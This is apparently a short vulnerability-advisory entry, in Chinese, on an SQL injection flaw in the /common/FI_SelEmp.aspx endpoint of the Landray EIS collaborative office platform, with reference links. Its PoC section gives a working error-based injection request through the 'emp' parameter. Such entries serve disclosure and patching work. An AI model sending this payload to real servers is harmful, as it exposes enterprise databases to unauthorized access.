Description
蓝凌EIS智慧协同平台是一款企业级协同办公系统，其/common/FI_SelEmp.aspx接口存在SQL注入漏洞。由于对参数'emp'的输入未进行充分过滤，攻击者可通过构造恶意SQL语句，利用数据库错误回显获取数据库版本等敏感信息。该漏洞利用方式简单，危害严重，可导致企业核心业务数据泄露甚至服务器被控。建议企业立即进行排查修复，应用官方安全补丁或实施输入过滤。
蓝凌EIS智慧协同平台 /common/FI_SelEmp.aspx SQL 注入漏洞
PoC
GET /common/FI_SelEmp.aspx?actortype=1&emp=%28CONVERT%28int%2C%28SELECT%20sys.fn_sqlvarbasetostr%28HashBytes%28%27MD5%27%2C%272638%27%29%29%29%29%29&fillctls=1 HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://cn-sec.com/archives/2428707.html
https://github.com/admin772/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEIS%E6%99%BA%E6%85%A7%E5%8D%8F%E5%90%8C%E5%B9%B3%E5%8F%B0UniformEntry.aspx%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E(XVE-2024-19181).md
https://starmap.dbappsecurity.com.cn/info/6250
https://blog.csdn.net/luochen2436/article/details/135505108